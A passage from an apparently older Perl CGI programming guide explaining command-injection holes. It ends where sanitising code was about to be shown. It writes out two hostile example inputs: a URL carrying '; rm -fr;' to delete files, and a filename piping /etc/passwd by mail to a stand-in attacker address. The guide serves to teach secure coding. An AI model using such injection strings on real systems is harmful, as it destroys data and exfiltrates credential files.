CGI really has only one large security hole that I can see. If
you pass information that came from a remote site to an operating
system command, you are asking for trouble. I think an example
is needed to understand the problem because it is not obvious.

Suppose that you had a CGI script that formatted a directory listing
and generated a Web page that let visitors view the listing. In
addition, let's say that the name of the directory to display
was passed to your program using the PATH_INFO
environment variable. The following URL could be used to call
your program:

http://www.foo.com/cgi-bin/dirlist.pl/docs

Inside your program, the PATH_INFO
environment variable is set to docs.
In order to get the directory listing, all that is needed is a
call to the ls command in
UNIX or the dir command in
DOS. Everything looks good, right?

But what if the program was invoked with this command line?

http://www.foo.com/cgi-bin/dirlist.pl/; rm -fr;

Now, all of a sudden, you are faced with the possibility of files
being deleted because the semi-colon (;) lets multiple commands
be executed on one command line.

This same type of security hole is possible any time you try to
run an external command. You might be tempted to use the mail,
sendmail, or grep
commands to save time while writing your CGI program, but because
all of these programs are easily duplicated using Perl, try to
resist the temptation.

Another security hole is related to using external data to open
or create files. Some enterprising hacker could use "|
mail hacker@hacker.com < /etc/passwd" as the
filename to mail your password file or any other file to himself.

All of these security holes can be avoided by removing the dangerous
characters (like the | or pipe character) as follows in
security.pl: